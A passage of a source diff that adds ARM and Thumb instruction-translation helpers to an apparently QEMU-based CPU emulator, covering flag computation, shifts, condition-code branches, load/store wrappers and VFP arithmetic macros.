tcg_gen_xor_i32(tcg_ctx, tmp, t0, t1); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0x8000); + tcg_gen_andi_i32(tcg_ctx, t0, t0, ~0x8000); + tcg_gen_andi_i32(tcg_ctx, t1, t1, ~0x8000); + tcg_gen_add_i32(tcg_ctx, t0, t0, t1); + tcg_gen_xor_i32(tcg_ctx, t0, t0, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, t1); +} + +/* Set CF to the top bit of var. */ +static void gen_set_CF_bit31(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_shri_i32(tcg_ctx, tcg_ctx->cpu_CF, var, 31); +} + +/* Set N and Z flags from var. */ +static inline void gen_logic_CC(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_NF, var); + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, var); +} + +/* T0 += T1 + CF. */ +static void gen_adc(DisasContext *s, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_add_i32(tcg_ctx, t0, t0, t1); + tcg_gen_add_i32(tcg_ctx, t0, t0, tcg_ctx->cpu_CF); +} + +/* dest = T0 + T1 + CF. */ +static void gen_add_carry(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_add_i32(tcg_ctx, dest, t0, t1); + tcg_gen_add_i32(tcg_ctx, dest, dest, tcg_ctx->cpu_CF); +} + +/* dest = T0 - T1 + CF - 1. */ +static void gen_sub_carry(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_sub_i32(tcg_ctx, dest, t0, t1); + tcg_gen_add_i32(tcg_ctx, dest, dest, tcg_ctx->cpu_CF); + tcg_gen_subi_i32(tcg_ctx, dest, dest, 1); +} + +/* dest = T0 + T1. Compute C, N, V and Z flags */ +static void gen_add_CC(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + tcg_gen_add2_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, t0, tmp, t1, tmp); + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, tcg_ctx->cpu_NF); + tcg_gen_xor_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF, t0); + tcg_gen_xor_i32(tcg_ctx, tmp, t0, t1); + tcg_gen_andc_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_mov_i32(tcg_ctx, dest, tcg_ctx->cpu_NF); +} + +/* dest = T0 + T1 + CF. Compute C, N, V and Z flags */ +static void gen_adc_CC(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + if (TCG_TARGET_HAS_add2_i32) { + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + tcg_gen_add2_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, t0, tmp, tcg_ctx->cpu_CF, tmp); + tcg_gen_add2_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, t1, tmp); + } else { + TCGv_i64 q0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 q1 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, q0, t0); + tcg_gen_extu_i32_i64(tcg_ctx, q1, t1); + tcg_gen_add_i64(tcg_ctx, q0, q0, q1); + tcg_gen_extu_i32_i64(tcg_ctx, q1, tcg_ctx->cpu_CF); + tcg_gen_add_i64(tcg_ctx, q0, q0, q1); + tcg_gen_extr_i64_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, q0); + tcg_temp_free_i64(tcg_ctx, q0); + tcg_temp_free_i64(tcg_ctx, q1); + } + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, tcg_ctx->cpu_NF); + tcg_gen_xor_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF, t0); + tcg_gen_xor_i32(tcg_ctx, tmp, t0, t1); + tcg_gen_andc_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_mov_i32(tcg_ctx, dest, tcg_ctx->cpu_NF); +} + +/* dest = T0 - T1. Compute C, N, V and Z flags */ +static void gen_sub_CC(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + tcg_gen_sub_i32(tcg_ctx, tcg_ctx->cpu_NF, t0, t1); + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, tcg_ctx->cpu_NF); + tcg_gen_setcond_i32(tcg_ctx, TCG_COND_GEU, tcg_ctx->cpu_CF, t0, t1); + tcg_gen_xor_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF, t0); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, t0, t1); + tcg_gen_and_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_mov_i32(tcg_ctx, dest, tcg_ctx->cpu_NF); +} + +/* dest = T0 + ~T1 + CF. Compute C, N, V and Z flags */ +static void gen_sbc_CC(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_not_i32(tcg_ctx, tmp, t1); + gen_adc_CC(s, dest, t0, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +#define GEN_SHIFT(name) \ +static void gen_##name(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv_i32 tmp1, tmp2, tmp3; \ + tmp1 = tcg_temp_new_i32(tcg_ctx); \ + tcg_gen_andi_i32(tcg_ctx, tmp1, t1, 0xff); \ + tmp2 = tcg_const_i32(tcg_ctx, 0); \ + tmp3 = tcg_const_i32(tcg_ctx, 0x1f); \ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GTU, tmp2, tmp1, tmp3, tmp2, t0); \ + tcg_temp_free_i32(tcg_ctx, tmp3); \ + tcg_gen_andi_i32(tcg_ctx, tmp1, tmp1, 0x1f); \ + tcg_gen_##name##_i32(tcg_ctx, dest, tmp2, tmp1); \ + tcg_temp_free_i32(tcg_ctx, tmp2); \ + tcg_temp_free_i32(tcg_ctx, tmp1); \ +} +GEN_SHIFT(shl) +GEN_SHIFT(shr) +#undef GEN_SHIFT + +static void gen_sar(DisasContext *s, TCGv_i32 dest, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp1, tmp2; + tmp1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp1, t1, 0xff); + tmp2 = tcg_const_i32(tcg_ctx, 0x1f); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GTU, tmp1, tmp1, tmp2, tmp2, tmp1); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_gen_sar_i32(tcg_ctx, dest, t0, tmp1); + tcg_temp_free_i32(tcg_ctx, tmp1); +} + +static void tcg_gen_abs_i32(DisasContext *s, TCGv_i32 dest, TCGv_i32 src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 c0 = tcg_const_i32(tcg_ctx, 0); + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_neg_i32(tcg_ctx, tmp, src); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GT, dest, src, c0, src, tmp); + tcg_temp_free_i32(tcg_ctx, c0); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +static void shifter_out_im(DisasContext *s, TCGv_i32 var, int shift) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (shift == 0) { + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_CF, var, 1); + } else { + tcg_gen_shri_i32(tcg_ctx, tcg_ctx->cpu_CF, var, shift); + if (shift != 31) { + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_CF, tcg_ctx->cpu_CF, 1); + } + } +} + +/* Shift by immediate. Includes special handling for shift == 0. */ +static inline void gen_arm_shift_im(DisasContext *s, TCGv_i32 var, int shiftop, + int shift, int flags) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (shiftop) { + case 0: /* LSL */ + if (shift != 0) { + if (flags) + shifter_out_im(s, var, 32 - shift); + tcg_gen_shli_i32(tcg_ctx, var, var, shift); + } + break; + case 1: /* LSR */ + if (shift == 0) { + if (flags) { + tcg_gen_shri_i32(tcg_ctx, tcg_ctx->cpu_CF, var, 31); + } + tcg_gen_movi_i32(tcg_ctx, var, 0); + } else { + if (flags) + shifter_out_im(s, var, shift - 1); + tcg_gen_shri_i32(tcg_ctx, var, var, shift); + } + break; + case 2: /* ASR */ + if (shift == 0) + shift = 32; + if (flags) + shifter_out_im(s, var, shift - 1); + if (shift == 32) + shift = 31; + tcg_gen_sari_i32(tcg_ctx, var, var, shift); + break; + case 3: /* ROR/RRX */ + if (shift != 0) { + if (flags) + shifter_out_im(s, var, shift - 1); + tcg_gen_rotri_i32(tcg_ctx, var, var, shift); break; + } else { + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shli_i32(tcg_ctx, tmp, tcg_ctx->cpu_CF, 31); + if (flags) + shifter_out_im(s, var, 0); + tcg_gen_shri_i32(tcg_ctx, var, var, 1); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } + } +} + +static inline void gen_arm_shift_reg(DisasContext *s, TCGv_i32 var, int shiftop, + TCGv_i32 shift, int flags) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (flags) { + switch (shiftop) { + case 0: gen_helper_shl_cc(tcg_ctx, var, tcg_ctx->cpu_env, var, shift); break; + case 1: gen_helper_shr_cc(tcg_ctx, var, tcg_ctx->cpu_env, var, shift); break; + case 2: gen_helper_sar_cc(tcg_ctx, var, tcg_ctx->cpu_env, var, shift); break; + case 3: gen_helper_ror_cc(tcg_ctx, var, tcg_ctx->cpu_env, var, shift); break; + } + } else { + switch (shiftop) { + case 0: + gen_shl(s, var, var, shift); + break; + case 1: + gen_shr(s, var, var, shift); + break; + case 2: + gen_sar(s, var, var, shift); + break; + case 3: tcg_gen_andi_i32(tcg_ctx, shift, shift, 0x1f); + tcg_gen_rotr_i32(tcg_ctx, var, var, shift); break; + } + } + tcg_temp_free_i32(tcg_ctx, shift); +} + +#define PAS_OP(pfx) \ + switch (op2) { \ + case 0: gen_pas_helper(glue(pfx,add16)); break; \ + case 1: gen_pas_helper(glue(pfx,addsubx)); break; \ + case 2: gen_pas_helper(glue(pfx,subaddx)); break; \ + case 3: gen_pas_helper(glue(pfx,sub16)); break; \ + case 4: gen_pas_helper(glue(pfx,add8)); break; \ + case 7: gen_pas_helper(glue(pfx,sub8)); break; \ + } +static void gen_arm_parallel_addsub(DisasContext *s, int op1, int op2, TCGv_i32 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr tmp; + + switch (op1) { +#define gen_pas_helper(name) glue(gen_helper_,name)(tcg_ctx, a, a, b, tmp) + case 1: + tmp = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_addi_ptr(tcg_ctx, tmp, tcg_ctx->cpu_env, offsetof(CPUARMState, GE)); + PAS_OP(s) + tcg_temp_free_ptr(tcg_ctx, tmp); + break; + case 5: + tmp = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_addi_ptr(tcg_ctx, tmp, tcg_ctx->cpu_env, offsetof(CPUARMState, GE)); + PAS_OP(u) + tcg_temp_free_ptr(tcg_ctx, tmp); + break; +#undef gen_pas_helper +#define gen_pas_helper(name) glue(gen_helper_,name)(tcg_ctx, a, a, b) + case 2: + PAS_OP(q); + break; + case 3: + PAS_OP(sh); + break; + case 6: + PAS_OP(uq); + break; + case 7: + PAS_OP(uh); + break; +#undef gen_pas_helper + } +} +#undef PAS_OP + +/* For unknown reasons Arm and Thumb-2 use arbitrarily different encodings. */ +#define PAS_OP(pfx) \ + switch (op1) { \ + case 0: gen_pas_helper(glue(pfx,add8)); break; \ + case 1: gen_pas_helper(glue(pfx,add16)); break; \ + case 2: gen_pas_helper(glue(pfx,addsubx)); break; \ + case 4: gen_pas_helper(glue(pfx,sub8)); break; \ + case 5: gen_pas_helper(glue(pfx,sub16)); break; \ + case 6: gen_pas_helper(glue(pfx,subaddx)); break; \ + } +static void gen_thumb2_parallel_addsub(DisasContext *s, int op1, int op2, TCGv_i32 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr tmp; + + switch (op2) { +#define gen_pas_helper(name) glue(gen_helper_,name)(tcg_ctx, a, a, b, tmp) + case 0: + tmp = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_addi_ptr(tcg_ctx, tmp, tcg_ctx->cpu_env, offsetof(CPUARMState, GE)); + PAS_OP(s) + tcg_temp_free_ptr(tcg_ctx, tmp); + break; + case 4: + tmp = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_addi_ptr(tcg_ctx, tmp, tcg_ctx->cpu_env, offsetof(CPUARMState, GE)); + PAS_OP(u) + tcg_temp_free_ptr(tcg_ctx, tmp); + break; +#undef gen_pas_helper +#define gen_pas_helper(name) glue(gen_helper_,name)(tcg_ctx, a, a, b) + case 1: + PAS_OP(q); + break; + case 2: + PAS_OP(sh); + break; + case 5: + PAS_OP(uq); + break; + case 6: + PAS_OP(uh); + break; +#undef gen_pas_helper + } +} +#undef PAS_OP + +/* + * generate a conditional branch based on ARM condition code cc. + * This is common between ARM and Aarch64 targets. + */ +void arm_gen_test_cc(TCGContext *tcg_ctx, int cc, int label) +{ + TCGv_i32 tmp; + int inv; + + switch (cc) { + case 0: /* eq: Z */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_ZF, 0, label); + break; + case 1: /* ne: !Z */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tcg_ctx->cpu_ZF, 0, label); + break; + case 2: /* cs: C */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tcg_ctx->cpu_CF, 0, label); + break; + case 3: /* cc: !C */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_CF, 0, label); + break; + case 4: /* mi: N */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_LT, tcg_ctx->cpu_NF, 0, label); + break; + case 5: /* pl: !N */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_GE, tcg_ctx->cpu_NF, 0, label); + break; + case 6: /* vs: V */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_LT, tcg_ctx->cpu_VF, 0, label); + break; + case 7: /* vc: !V */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_GE, tcg_ctx->cpu_VF, 0, label); + break; + case 8: /* hi: C && !Z */ + inv = gen_new_label(tcg_ctx); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_CF, 0, inv); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tcg_ctx->cpu_ZF, 0, label); + gen_set_label(tcg_ctx, inv); + break; + case 9: /* ls: !C || Z */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_CF, 0, label); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_ZF, 0, label); + break; + case 10: /* ge: N == V -> N ^ V == 0 */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_GE, tmp, 0, label); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 11: /* lt: N != V -> N ^ V != 0 */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_LT, tmp, 0, label); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 12: /* gt: !Z && N == V */ + inv = gen_new_label(tcg_ctx); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_ZF, 0, inv); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_GE, tmp, 0, label); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_set_label(tcg_ctx, inv); + break; + case 13: /* le: Z || N != V */ + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_ZF, 0, label); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_LT, tmp, 0, label); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + default: + /* fprintf(stderr, "Bad condition code 0x%x\n", cc); */ + tmp = tcg_const_i32(tcg_ctx, EXCP_EXCEPTION_EXIT); + gen_helper_exception_internal(tcg_ctx, tcg_ctx->cpu_env, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } +} + +static const uint8_t table_logic_cc[16] = { + 1, /* and */ + 1, /* xor */ + 0, /* sub */ + 0, /* rsb */ + 0, /* add */ + 0, /* adc */ + 0, /* sbc */ + 0, /* rsc */ + 1, /* andl */ + 1, /* xorl */ + 0, /* cmp */ + 0, /* cmn */ + 1, /* orr */ + 1, /* mov */ + 1, /* bic */ + 1, /* mvn */ +}; + +/* Set PC and Thumb state from an immediate address. */ +static inline void gen_bx_im(DisasContext *s, uint32_t addr) +{ + TCGv_i32 tmp; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + s->is_jmp = DISAS_UPDATE; + if (s->thumb != (addr & 1)) { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, addr & 1); + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, offsetof(CPUARMState, thumb)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[15], addr & ~1); +} + +/* Set PC and Thumb state from var. var is marked as dead. */ +static inline void gen_bx(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + s->is_jmp = DISAS_UPDATE; + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_R[15], var, ~1); + tcg_gen_andi_i32(tcg_ctx, var, var, 1); + store_cpu_field(tcg_ctx, var, thumb); +} + +/* Variant of store_reg which uses branch&exchange logic when storing + to r15 in ARM architecture v7 and above. The source must be a temporary + and will be marked as dead. */ +static inline void store_reg_bx(DisasContext *s, int reg, TCGv_i32 var) +{ + if (reg == 15 && ENABLE_ARCH_7) { + gen_bx(s, var); + } else { + store_reg(s, reg, var); + } +} + +/* Variant of store_reg which uses branch&exchange logic when storing + * to r15 in ARM architecture v5T and above. This is used for storing + * the results of a LDR/LDM/POP into r15, and corresponds to the cases + * in the ARM ARM which use the LoadWritePC() pseudocode function. */ +static inline void store_reg_from_load(DisasContext *s, int reg, TCGv_i32 var) +{ + if (reg == 15 && ENABLE_ARCH_5) { + gen_bx(s, var); + } else { + store_reg(s, reg, var); + } +} + +/* Abstractions of "generate code to do a guest load/store for + * AArch32", where a vaddr is always 32 bits (and is zero + * extended if we're a 64 bit core) and data is also + * 32 bits unless specifically doing a 64 bit access. + * These functions work like tcg_gen_qemu_{ld,st}* except + * that the address argument is TCGv_i32 rather than TCGv. + */ +#if TARGET_LONG_BITS == 32 + +#define DO_GEN_LD(SUFF, OPC) \ +static inline void gen_aa32_ld##SUFF(DisasContext *s, TCGv_i32 val, TCGv_i32 addr, int index) \ +{ \ + tcg_gen_qemu_ld_i32(s->uc, val, addr, index, OPC); \ +} + +#define DO_GEN_ST(SUFF, OPC) \ +static inline void gen_aa32_st##SUFF(DisasContext *s, TCGv_i32 val, TCGv_i32 addr, int index) \ +{ \ + tcg_gen_qemu_st_i32(s->uc, val, addr, index, OPC); \ +} + +static inline void gen_aa32_ld64(DisasContext *s, TCGv_i64 val, TCGv_i32 addr, int index) +{ + tcg_gen_qemu_ld_i64(s->uc, val, addr, index, MO_TEQ); +} + +static inline void gen_aa32_st64(DisasContext *s, TCGv_i64 val, TCGv_i32 addr, int index) +{ + tcg_gen_qemu_st_i64(s->uc, val, addr, index, MO_TEQ); +} + +#else + +#define DO_GEN_LD(SUFF, OPC) \ +static inline void gen_aa32_ld##SUFF(DisasContext *s, TCGv_i32 val, TCGv_i32 addr, int index) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv addr64 = tcg_temp_new(tcg_ctx); \ + tcg_gen_extu_i32_i64(tcg_ctx, addr64, addr); \ + tcg_gen_qemu_ld_i32(s->uc, val, addr64, index, OPC); \ + tcg_temp_free(tcg_ctx, addr64); \ +} + +#define DO_GEN_ST(SUFF, OPC) \ +static inline void gen_aa32_st##SUFF(DisasContext *s, TCGv_i32 val, TCGv_i32 addr, int index) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv addr64 = tcg_temp_new(tcg_ctx); \ + tcg_gen_extu_i32_i64(tcg_ctx, addr64, addr); \ + tcg_gen_qemu_st_i32(s->uc, val, addr64, index, OPC); \ + tcg_temp_free(tcg_ctx, addr64); \ +} + +static inline void gen_aa32_ld64(DisasContext *s, TCGv_i64 val, TCGv_i32 addr, int index) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv addr64 = tcg_temp_new(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, addr64, addr); + tcg_gen_qemu_ld_i64(s->uc, val, addr64, index, MO_TEQ); + tcg_temp_free(tcg_ctx, addr64); +} + +static inline void gen_aa32_st64(DisasContext *s, TCGv_i64 val, TCGv_i32 addr, int index) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv addr64 = tcg_temp_new(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, addr64, addr); + tcg_gen_qemu_st_i64(s->uc, val, addr64, index, MO_TEQ); + tcg_temp_free(tcg_ctx, addr64); +} + +#endif + +DO_GEN_LD(8s, MO_SB) +DO_GEN_LD(8u, MO_UB) +DO_GEN_LD(16s, MO_TESW) +DO_GEN_LD(16u, MO_TEUW) +DO_GEN_LD(32u, MO_TEUL) +DO_GEN_ST(8, MO_UB) +DO_GEN_ST(16, MO_TEUW) +DO_GEN_ST(32, MO_TEUL) + +static inline void gen_set_pc_im(DisasContext *s, target_ulong val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[15], val); +} + +static inline void gen_hvc(DisasContext *s, int imm16) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* The pre HVC helper handles cases when HVC gets trapped + * as an undefined insn by runtime configuration (ie before + * the insn really executes). + */ + gen_set_pc_im(s, s->pc - 4); + gen_helper_pre_hvc(tcg_ctx, tcg_ctx->cpu_env); + /* Otherwise we will treat this as a real exception which + * happens after execution of the insn. (The distinction matters + * for the PC value reported to the exception handler and also + * for single stepping.) + */ + s->svc_imm = imm16; + gen_set_pc_im(s, s->pc); + s->is_jmp = DISAS_HVC; +} + +static inline void gen_smc(DisasContext *s) +{ + /* As with HVC, we may take an exception either before or after + * the insn executes. + */ + TCGv_i32 tmp; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + gen_set_pc_im(s, s->pc - 4); + tmp = tcg_const_i32(tcg_ctx, syn_aa32_smc()); + gen_helper_pre_smc(tcg_ctx, tcg_ctx->cpu_env, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_set_pc_im(s, s->pc); + s->is_jmp = DISAS_SMC; +} + +static inline void +gen_set_condexec (DisasContext *s) +{ + if (s->condexec_mask) { + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t val = (s->condexec_cond << 4) | (s->condexec_mask >> 1); + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, val); + store_cpu_field(tcg_ctx, tmp, condexec_bits); + } +} + +static void gen_exception_internal_insn(DisasContext *s, int offset, int excp) +{ + gen_set_condexec(s); + gen_set_pc_im(s, s->pc - offset); + gen_exception_internal(s, excp); + s->is_jmp = DISAS_JUMP; +} + +static void gen_exception_insn(DisasContext *s, int offset, int excp, int syn) +{ + gen_set_condexec(s); + gen_set_pc_im(s, s->pc - offset); + gen_exception(s, excp, syn); // qq + s->is_jmp = DISAS_JUMP; +} + +/* Force a TB lookup after an instruction that changes the CPU state. */ +static inline void gen_lookup_tb(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[15], s->pc & ~1); + s->is_jmp = DISAS_UPDATE; +} + +static inline void gen_add_data_offset(DisasContext *s, unsigned int insn, + TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int val, rm, shift, shiftop; + TCGv_i32 offset; + + if (!(insn & (1 << 25))) { + /* immediate */ + val = insn & 0xfff; + if (!(insn & (1 << 23))) + val = -val; + if (val != 0) + tcg_gen_addi_i32(tcg_ctx, var, var, val); + } else { + /* shift/register */ + rm = (insn) & 0xf; + shift = (insn >> 7) & 0x1f; + shiftop = (insn >> 5) & 3; + offset = load_reg(s, rm); + gen_arm_shift_im(s, offset, shiftop, shift, 0); + if (!(insn & (1 << 23))) + tcg_gen_sub_i32(tcg_ctx, var, var, offset); + else + tcg_gen_add_i32(tcg_ctx, var, var, offset); + tcg_temp_free_i32(tcg_ctx, offset); + } +} + +static inline void gen_add_datah_offset(DisasContext *s, unsigned int insn, + int extra, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int val, rm; + TCGv_i32 offset; + + if (insn & (1 << 22)) { + /* immediate */ + val = (insn & 0xf) | ((insn >> 4) & 0xf0); + if (!(insn & (1 << 23))) + val = -val; + val += extra; + if (val != 0) + tcg_gen_addi_i32(tcg_ctx, var, var, val); + } else { + /* register */ + if (extra) + tcg_gen_addi_i32(tcg_ctx, var, var, extra); + rm = (insn) & 0xf; + offset = load_reg(s, rm); + if (!(insn & (1 << 23))) + tcg_gen_sub_i32(tcg_ctx, var, var, offset); + else + tcg_gen_add_i32(tcg_ctx, var, var, offset); + tcg_temp_free_i32(tcg_ctx, offset); + } +} + +static TCGv_ptr get_fpstatus_ptr(DisasContext *s, int neon) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr statusptr = tcg_temp_new_ptr(tcg_ctx); + int offset; + if (neon) { + offset = offsetof(CPUARMState, vfp.standard_fp_status); + } else { + offset = offsetof(CPUARMState, vfp.fp_status); + } + tcg_gen_addi_ptr(tcg_ctx, statusptr, tcg_ctx->cpu_env, offset); + return statusptr; +} + +#define VFP_OP2(name) \ +static inline void gen_vfp_##name(DisasContext *s, int dp) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); \ + if (dp) { \ + gen_helper_vfp_##name##d(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F1d, fpst); \ + } else { \ + gen_helper_vfp_##name##s(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F1s, fpst); \ + } \ + tcg_temp_free_ptr(tcg_ctx, fpst); \ +} + +VFP_OP2(add) +VFP_OP2(sub) +VFP_OP2(mul) +VFP_OP2(div) + +#undef VFP_OP2 + +static inline void gen_vfp_F1_mul(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Like gen_vfp_mul() but put result in F1 */ + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + if (dp) { + gen_helper_vfp_muld(tcg_ctx, tcg_ctx->cpu_F1d, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F1d, fpst); + } else { + gen_helper_vfp_muls(tcg_ctx, 